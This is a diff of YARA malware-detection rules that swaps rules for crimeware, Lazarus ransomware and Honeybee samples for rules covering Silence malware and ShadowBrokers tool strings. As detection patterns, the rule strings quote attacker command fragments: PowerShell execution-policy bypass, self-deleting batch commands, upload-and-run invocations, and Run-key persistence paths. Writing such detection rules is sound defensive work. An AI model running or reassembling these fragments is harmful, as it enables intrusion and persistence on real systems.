+		$xr1 = /%([Aa]pp[Dd]ata|APPDATA)%\\[A-Za-z0-9_\-]{1,20}\.[a-zA-Z0-9]{1,4}[^\\]/ wide ascii
+		$xr2 = /%([Pp]ublic|PUBLIC)%\\[A-Za-z0-9_\-]{1,20}\.[a-zA-Z0-9]{1,4}[^\\]/ wide ascii
+		$xr4 = /%([Pp]rogram[Dd]ata|PROGRAMDATA)%\\[A-Za-z0-9_\-]{1,20}\.[a-zA-Z0-9]{1,4}[^\\]/ wide ascii
+		$fp1 = "perl -MCPAN " ascii
+		$fp2 = "CCleaner" ascii
 
 	condition:
-		filesize <5000KB and 1 of them
+		filesize <20MB and 1 of ($x*) and not 1 of ($fp*) and not pe.number_of_signatures>0
 }
-rule SIGNATURE_BASE_Trojandownloader : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Silence_Malware_1 : FILE
 {
 	meta:
-		description = "Trojan Downloader - Flash Exploit Feb15"
+		description = "Detects malware sample mentioned in the Silence report on Securelist"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d61f59ef-31a3-5e52-9525-61910bb150db"
-		date = "2015-02-11"
+		id = "f932e3fe-a2d7-55b7-b581-88c0ed45723e"
+		date = "2017-11-01"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/wJ8V1I"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_malware_generic.yar#L4-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5b8d4280ff6fc9c8e1b9593cbaeb04a29e64a81e"
-		logic_hash = "4911098beea1d348d41d6a38c03b343bb7b8a8090ba664fd4b0747045127c686"
-		score = 60
-		quality = 83
+		reference = "https://securelist.com/the-silence/83009/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_silence.yar#L13-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b88795268c080fe19f7e185d1542b520616fe6c00bae23a99981aa1ee8abacb3"
+		score = 75
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f24b160e9e9d02b8e31524b8a0b30e7cdc66dd085e24e4c58240e4c4b6ec0ac2"
 
 	strings:
-		$x1 = "Hello World!" fullword ascii
-		$x2 = "CONIN$" fullword ascii
-		$s6 = "GetCommandLineA" fullword ascii
-		$s7 = "ExitProcess" fullword ascii
-		$s8 = "CreateFileA" fullword ascii
-		$s5 = "SetConsoleMode" fullword ascii
-		$s9 = "TerminateProcess" fullword ascii
-		$s10 = "GetCurrentProcess" fullword ascii
-		$s11 = "UnhandledExceptionFilter" fullword ascii
-		$s3 = "user32.dll" fullword ascii
-		$s16 = "GetEnvironmentStrings" fullword ascii
-		$s2 = "GetLastActivePopup" fullword ascii
-		$s17 = "GetFileType" fullword ascii
-		$s19 = "HeapCreate" fullword ascii
-		$s20 = "VirtualFree" fullword ascii
-		$s21 = "WriteFile" fullword ascii
-		$s22 = "GetOEMCP" fullword ascii
-		$s23 = "VirtualAlloc" fullword ascii
-		$s24 = "GetProcAddress" fullword ascii
-		$s26 = "FlushFileBuffers" fullword ascii
-		$s27 = "SetStdHandle" fullword ascii
-		$s28 = "KERNEL32.dll" fullword ascii
+		$x1 = "adobeudp.exe" fullword wide
+		$x2 = "%s\\adobeudp.exeZone.Identifier" fullword ascii
+		$x3 = "%s\\igfxpers_%08x.exe" fullword ascii
+		$x4 = "%s\\adobeudp.exe" fullword ascii
+		$s1 = "SoftWare\\MicroSoft\\Windows\\CurrentVersion\\Run" fullword ascii
+		$s2 = "Copyright (C)  1999 - 2017" fullword wide
+		$s3 = "%sget.php?name=%x" fullword ascii
+		$s4 = "VNASSRUNXYC" fullword wide
 
 	condition:
-		$x1 and $x2 and ( all of ($s*)) and filesize <35000
+		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="e03edb9bd7cbe200dc59f361db847f8a" or 1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_Ismdoor_Jul17_A2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Silence_Malware_2 : FILE
 {
 	meta:
-		description = "Detects IsmDoor Malware"
+		description = "Detects malware sample mentioned in the Silence report on Securelist"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ea72a496-cbc8-56f6-a852-7af9761ea58e"
-		date = "2017-08-01"
+		id = "e4c7d753-fd04-5e11-9960-1ad238039c11"
+		date = "2017-11-01"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/Voulnet/status/892104753295110145"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_malware_generic.yar#L54-L71"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7944f690be190927c905d3b3c6e26765504af9fcfb445cf70c8899af115d5001"
+		reference = "https://securelist.com/the-silence/83009/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_silence.yar#L40-L64"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8cb6320eac984b7a332c1c84582a7ca7e90d409e518106c4e7655948f6863889"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "be72c89efef5e59c4f815d2fce0da5a6fac8c90b86ee0e424868d4ae5e550a59"
-		hash2 = "ea1be14eb474c9f70e498c764aaafc8b34173c80cac9a8b89156e9390bd87ba8"
+		hash1 = "75b8f534b2f56f183465ba2b63cfc80b7d7d1d155697af141447ec7144c2ba27"
 
 	strings:
-		$s1 = "powershell -exec bypass -file \"" fullword ascii
-		$s2 = "PAQlFcaWUaFkVICEx2CkNCUUpGcA" ascii
-		$s3 = "\\Documents" ascii
-		$s4 = "\\Libraries" ascii
+		$x1 = "\\ScreenMonitorService\\Release\\smmsrv.pdb" ascii
+		$x2 = "\\\\.\\pipe\\{73F7975A-A4A2-4AB6-9121-AECAE68AABBB}" fullword ascii
+		$s1 = "My Sample Service: ServiceMain: SetServiceStatus returned error" fullword ascii
+		$s2 = "\\mss.exe" ascii
+		$s3 = "\\out.dat" ascii
+		$s4 = "\\mss.txt" ascii
+		$s5 = "Default monitor" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 3 of them )
+		( uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="69f3ec173efb6fd3ab5f79e0f8051335" or (1 of ($x*) or 3 of them ))) or (5 of them )
 }
-rule SIGNATURE_BASE_Unknown_Malware_Sample_Jul17_2 : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_Auct_Dez16_Strings : FILE
 {
 	meta:
-		description = "Detects unknown malware sample with pastebin RAW URL"
+		description = "String from the ShodowBroker Files Screenshots - Dec 2016"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ce82b9eb-a9cb-5122-85dc-22794174c2f8"
-		date = "2017-08-01"
+		id = "b1454c5d-01bc-599b-815c-aa1a3c52be3f"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/iqH8CK"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_malware_generic.yar#L73-L89"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "966e14331fa89f2cdb5593a0c10227264085ee127deed28341e395ba6845e19d"
-		score = 75
-		quality = 85
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L11-L71"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3c632d90c5b26b840b267647faf453f85496b78c900910ad22896698c553c949"
+		score = 60
+		quality = 60
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3530d480db082af1823a7eb236203aca24dc3685f08c301466909f0794508a52"
 
 	strings:
-		$s1 = "4System.Web.Services.Protocols.SoapHttpClientProtocol" fullword ascii
-		$s2 = "https://pastebin.com/raw/" wide
-		$s3 = "My.Computer" fullword ascii
-		$s4 = "MyTemplate" fullword ascii
+		$s1 = "bs.ratload" fullword ascii
+		$s2 = "Auditcleaner" fullword ascii
+		$s3 = "bll.perlbind" fullword ascii
+		$s4 = "bll.perlcallback" fullword ascii
+		$s5 = "bll.telnet" fullword ascii
+		$s6 = "bll.tnc.gr" fullword ascii
+		$s7 = "clean_wtmps.py" fullword ascii
+		$s8 = "cmsex.auto" fullword ascii
+		$s9 = "cottonaxe" fullword ascii
+		$s10 = "dectelnet.sh" fullword ascii
+		$s11 = "elatedmonkey" fullword ascii
+		$s12 = "electricslide.pl" fullword ascii
+		$s13 = "endlessdonut" fullword ascii
+		$s14 = "solaris8shellcode" fullword ascii
+		$s15 = "solaris9shellcode" fullword ascii
+		$s16 = "solaris10shellcode" fullword ascii
+		$s17 = "ys.ratload.sh" fullword ascii
+		$elf1 = "catflap" fullword ascii
+		$elf2 = "charm_penguin" fullword ascii
+		$elf3 = "charm_hammer" fullword ascii
+		$elf4 = "charm_saver" fullword ascii
+		$elf5 = "dampcrowd" fullword ascii
+		$elf7 = "dubmoat" fullword ascii
+		$elf8 = "ebbshave" fullword ascii
+		$elf9 = "eggbasket" fullword ascii
+		$elf10 = "toffeehammer" fullword ascii
+		$elf11 = "enemyrun" fullword ascii
+		$elf12 = "envoytomato" fullword ascii
+		$elf13 = "expoxyresin" fullword ascii
+		$elf14 = "estopmoonlit" fullword ascii
+		$elf15 = "linux-exactchange" fullword ascii
+		$elf17 = "ghost_sparc" fullword ascii
+		$elf18 = "jackpop" fullword ascii
+		$elf19 = "orleans_stride" fullword ascii
+		$elf20 = "prokserver" fullword ascii
+		$elf21 = "seconddate" fullword ascii
+		$elf22 = "shentysdelight" fullword ascii
+		$elf23 = "skimcountry" fullword ascii
+		$elf24 = "slyheretic" fullword ascii
+		$elf25 = "stoicsurgeon" fullword ascii
+		$elf26 = "strifeworld" fullword ascii
+		$elf27 = "suaveeyeful" fullword ascii
+		$elf28 = "suctionchar" fullword ascii
+		$elf29 = "vs.attack.linux" fullword ascii
+		$pe1 = "charm_razor" fullword ascii wide
+		$pe2 = "charm_saver" fullword ascii wide
+		$pe3 = "ghost_x86" fullword ascii wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		( uint16(0)==0x457f and 1 of ($elf*)) or ( uint16(0)==0x5a4d and 1 of ($pe*)) or 1 of ($s*)
 }
-rule SIGNATURE_BASE_MAL_Unspecified_Jan18_1 : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_Violetspirit
 {
 	meta:
-		description = "Detects unspecified malware sample"
+		description = "Auto-generated rule - file violetspirit.README"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f3187c60-8fff-54de-9918-2fb2301f2d92"
-		date = "2018-01-19"
+		id = "4efea734-8cbc-53f7-bf92-5b3253721a81"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_malware_generic.yar#L91-L110"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cd4f7247473e04c348b49970ee3a6fd01415f005ac6dc7a79fbf937a693a80f4"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L73-L86"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "01a45feb5c9f9cfe8834306993c53b1e53d79b89b07106ffec0c81cdebb8b71c"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f87879b29ff83616e9c9044bd5fb847cf5d2efdd2f01fc284d1a6ce7d464a417"
+		hash1 = "a55fec73595f885e43b27963afb17aee8f8eefe811ca027ef0d7721d073e67ea"
 
 	strings:
-		$s1 = "User-Agent: Mozilla/4.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" fullword ascii
-		$s2 = "ping 192.0.2.2 -n 1 -w %d >nul 2>&1" fullword ascii
-		$s3 = "[Log Started] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]" fullword ascii
-		$s4 = "start /b \"\" cmd /c del \"%%~f0\"&exit /b" fullword ascii
-		$s5 = "[%s] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]" fullword ascii
-		$s6 = "%s\\%s.bat" fullword ascii
-		$s7 = "DEL /s \"%s\" >nul 2>&1" fullword ascii
+		$x1 = "-i tgt_ipaddr -h tgt_hostname" fullword ascii
 
 	condition:
-		filesize <300KB and 2 of them
+		1 of them
 }
-rule SIGNATURE_BASE_SUSP_Microsoft_7Z_SFX_Combo : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_Gr_Gr
 {
 	meta:
-		description = "Detects a suspicious file that has a Microsoft copyright and is a 7z SFX"
+		description = "Auto-generated rule - file gr.notes"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9163a689-c3ee-59b1-bf58-aef5d3072be6"
-		date = "2018-09-16"
+		id = "c233159d-8d78-575b-b32b-21f704debfe2"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_sfx_with_microsoft_copyright.yar#L1-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f48887e0c1031d180e25f2d1b9e016d434f594aef283ab3af8418e86496d2eac"
-		score = 65
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L88-L101"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "facce45a335d7ca799d68fc26ee2bf5682cec0914502482189cd6aa496cba489"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "cce63f209ee4efb4f0419fb4bbb32326392b5ef85cfba80b5b42b861637f1ff1"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b2b60dce7a4cfdddbd3d3f1825f1885728956bae009de3a307342fbdeeafcb79"
 
 	strings:
-		$s1 = "7ZSfx%03x.cmd" fullword wide
-		$s2 = "7z SFX: error" fullword ascii
-		$c1 = { 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70
-              00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9
-              00 20 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F
-              00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F
-              00 72 00 61 00 74 00 69 00 6F 00 6E 00 2E 00 20
-              00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68
-              00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72
-              00 76 00 65 00 64 00 2E }
+		$s4 = "delete starting from: (root) LIST (root)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and 1 of ($s*) and $c1
+		1 of them
 }
-rule SIGNATURE_BASE_SUSP_Microsoft_RAR_SFX_Combo : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Yellowspirit
 {
 	meta:
-		description = "Detects a suspicious file that has a Microsoft copyright and is a RAR SFX"
+		description = "Auto-generated rule - file user.tool.yellowspirit.COMMON"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0fa81a9e-2f41-5783-9786-bb6d33b82bd9"
-		date = "2018-09-16"
+		id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_sfx_with_microsoft_copyright.yar#L27-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a0f29fcf86139a6f95b4ab0095154bd26b555f1576b5a2e263c1939bc30e3431"
-		score = 65
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L103-L117"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "698b23cc4cc6f319ddef7a93cf7ddc83ffae1d2c2b0a9545011b51e381f8cd0c"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a7c4b718fa92934a9182567288146ffa3312d9f3edc3872478c90e0e2814078c"
 
 	strings:
-		$s1 = "winrarsfxmappingfile.tmp" fullword wide
-		$s2 = "WinRAR self-extracting archive" fullword wide
-		$s3 = "WINRAR.SFX" fullword
-		$c1 = { 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70
-              00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9
-              00 20 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F
-              00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F
-              00 72 00 61 00 74 00 69 00 6F 00 6E 00 2E 00 20
-              00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68
-              00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72
-              00 76 00 65 00 64 00 2E }
+		$s1 = "-l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -x 9999" fullword ascii
+		$s2 = "-s PITCH_IP -x PITCH_IP -y RHP-24 TARGET_IP" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and 1 of ($s*) and $c1
+		1 of them
 }
-rule SIGNATURE_BASE_APT_MAL_NK_Lazarus_VHD_Ransomware_Oct20_1 : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_Eleganteagle_Opscript_1_0_0
 {
 	meta:
-		description = "Detects Lazarus VHD Ransomware"
+		description = "Auto-generated rule - file eleganteagle_opscript.1.0.0.6"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5cb3c136-ec5c-5596-8dcc-e4c6ef33050a"
-		date = "2020-10-05"
+		id = "22855519-160c-57cf-b610-a611ca6813ed"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_vhd_ransomware.yar#L2-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "95c56c5111bb227da8f8a3f8aa4f23e1348bc76ff76a05fc3cae89f9fad1bb52"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L119-L132"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3df5ba1a497ffe5306ed7966f25f69c30a5191e935c5638869a62b3cb2324f70"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6"
-		hash2 = "5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473"
-		hash3 = "6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "57e223318de0a802874642652b3dc766128f25d7e8f320c6f04c6f2659bb4f7f"
 
 	strings:
-		$s1 = "HowToDecrypt.txt" wide fullword
-		$s2 = "rsa.cpp" wide fullword
-		$s3 = "sc stop \"Microsoft Exchange Compliance Service\"" ascii fullword
-		$op1 = { 8b 8d bc fc ff ff 8b 94 bd 34 03 00 00 33 c0 50 }
-		$op2 = { 8b 8d 98 f9 ff ff 8d 64 24 00 8b 39 3b bc 85 34 }
-		$op3 = { 8b 94 85 34 03 00 00 89 11 40 83 c1 04 3b 06 7c }
+		$x3 = "uploadnrun -e \"D=-ucIP_ADDRESS_OF_REDIR" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and 2 of them
+		1 of them
 }
-rule SIGNATURE_BASE_APT_MAL_NK_Lazarus_VHD_Ransomware_Oct20_2 : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_Opscript
 {
 	meta:
-		description = "Detects Lazarus VHD Ransomware"
+		description = "Auto-generated rule - file opscript.se"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b75668de-93e6-57e7-90f0-fa335295be7c"
-		date = "2020-10-05"
+		id = "d00752a3-d5c2-53a7-9a83-ad31cfb534af"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_vhd_ransomware.yar#L26-L43"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cf28771a854b3bacc911375c09f6c6bc6ddebff95612a509890c56a5a14e8921"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L134-L147"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "23dd6d537a8639bd84ede141cca577dc91328bd293f96f865c7dedd9ef693ee3"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "097ca829e051a4877bca093cee340180ff5f13a9c266ad4141b0be82aae1a39b"
-		hash2 = "73a10be31832c9f1cbbd798590411009da0881592a90feb472e80025dfb0ea79"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "275c91531a9ac5a240336714093b6aa146b8d7463cb2780cfeeceaea4c789682"
 
 	strings:
-		$op1 = { f9 36 88 08 8d ad fc ff ff ff 66 ff c1 e9 72 86 }
-		$op2 = { c6 c4 58 0f a4 c8 12 8d ad ff ff ff ff 0f b6 44 }
-		$op3 = { 88 02 66 c1 f0 54 8d bf fc ff ff ff 0f ba e0 19 }
+		$s1 = "ls -l /tmp) | bdes -k 0x4790cae5ec154ccc|" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <9000KB and all of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Honeybee_Dropper_Maldoc : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Shentysdelight
 {
 	meta:
-		description = "Detects samples from Operation Honeybee"
+		description = "Auto-generated rule - file user.tool.shentysdelight.COMMON"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4e8dec29-2c0a-5760-91c9-88f67505a7f1"
-		date = "2018-03-03"
+		id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/JAHZVL"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_honeybee.yar#L13-L35"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8bc680a59a7bd269eea001c2c74e41ecd93a9b848210779fc7d9c24dfab7767a"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L149-L162"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1acfb6aea7e208b7fd52325258219c162482deb4fa7ee87ddc4de0774e3e74f4"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "86981680172bbf0865e7693fe5a2bbe9b3ba12b3f1a1536ef67915daab78004c"
-		hash2 = "0d4352322160339f87be70c2f3fe096500cfcdc95a8dea975fdfc457bd347c44"
+		hash1 = "a564efeaae9c13fe09a27f2d62208a1dec0a19b4a156f5cfa96a0259366b8166"
 
 	strings:
-		$x1 = "cmd /c expand %TEMP%\\setup.cab -F:* %SystemRoot%\\System32"
-		$x2 = "del /f /q %TEMP%\\setup.cab && cliconfg.exe"
-		$s1 = "SELECT * FROM Win32_Processor" fullword ascii
-		$s2 = "\"cmd /c `wusa " fullword ascii
-		$s3 = "sTempPathP" fullword ascii
-		$s4 = "sTempFile" fullword ascii
-		$s5 = "GetObjectz" fullword ascii
-		$s6 = "\\setup.cab" ascii
+		$s1 = "echo -ne \"/var/run/COLFILE\\0\"" fullword ascii
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <400KB and (1 of ($x*) or 4 of them )
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Ophoneybee_Malware_1 : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Epichero
 {
 	meta:
-		description = "Detects malware from Operation Honeybee"
+		description = "Auto-generated rule - file user.tool.epichero.COMMON"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5f48434e-efe6-5cd8-85e2-eabf528e6c58"
-		date = "2018-03-03"
+		id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/JAHZVL"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_honeybee.yar#L37-L71"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5cd37bc515bc1dd61ee58cfdf34622e4f884cc771d1fa2c793986be94b751a70"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L164-L178"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "36dc38f2dd630f22b87e8d9130de7d40ee3cdba45597b2b667a1a9536d990aad"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d31fe5cfa884e04ee26f323b8d104dcaa91146f5c7c216212fd3053afaade80f"
-		hash2 = "fc2bcd38659ae83fd25b4f7091412ae9ba011612fa4dcc3ef665b2cae2a1d74f"
-		hash3 = "2c5e5c86ca4fa172341c6bcbaa50984fb168d650ae9a33f2c6e6dccc1d57b369"
-		hash4 = "439c305cd408dbb508e153caab29d17021a7430f1dbaec0c90ac750ba2136f5f"
+		hash1 = "679d194c32cbaead7281df9afd17bca536ee9d28df917b422083ae8ed5b5c484"
 
 	strings:
-		$x1 = "cmd /c taskkill /im cliconfg.exe /f /t && del /f /q" fullword ascii
-		$x2 = "\\FTPCom_vs10\\Release\\Engine.pdb" ascii
-		$x3 = "KXU/yP=B29tLzidqNRuf-SbVInw0oCrmWZk6OpFc7A5GTD1QxaJ3H8h4jMeEsYglv" fullword ascii
-		$x4 = "D:\\Task\\MiMul\\" ascii
-		$s1 = "[DLL_PROCESS_ATTACH]" fullword ascii
-		$s2 = "cmd /c systeminfo >%s" fullword ascii
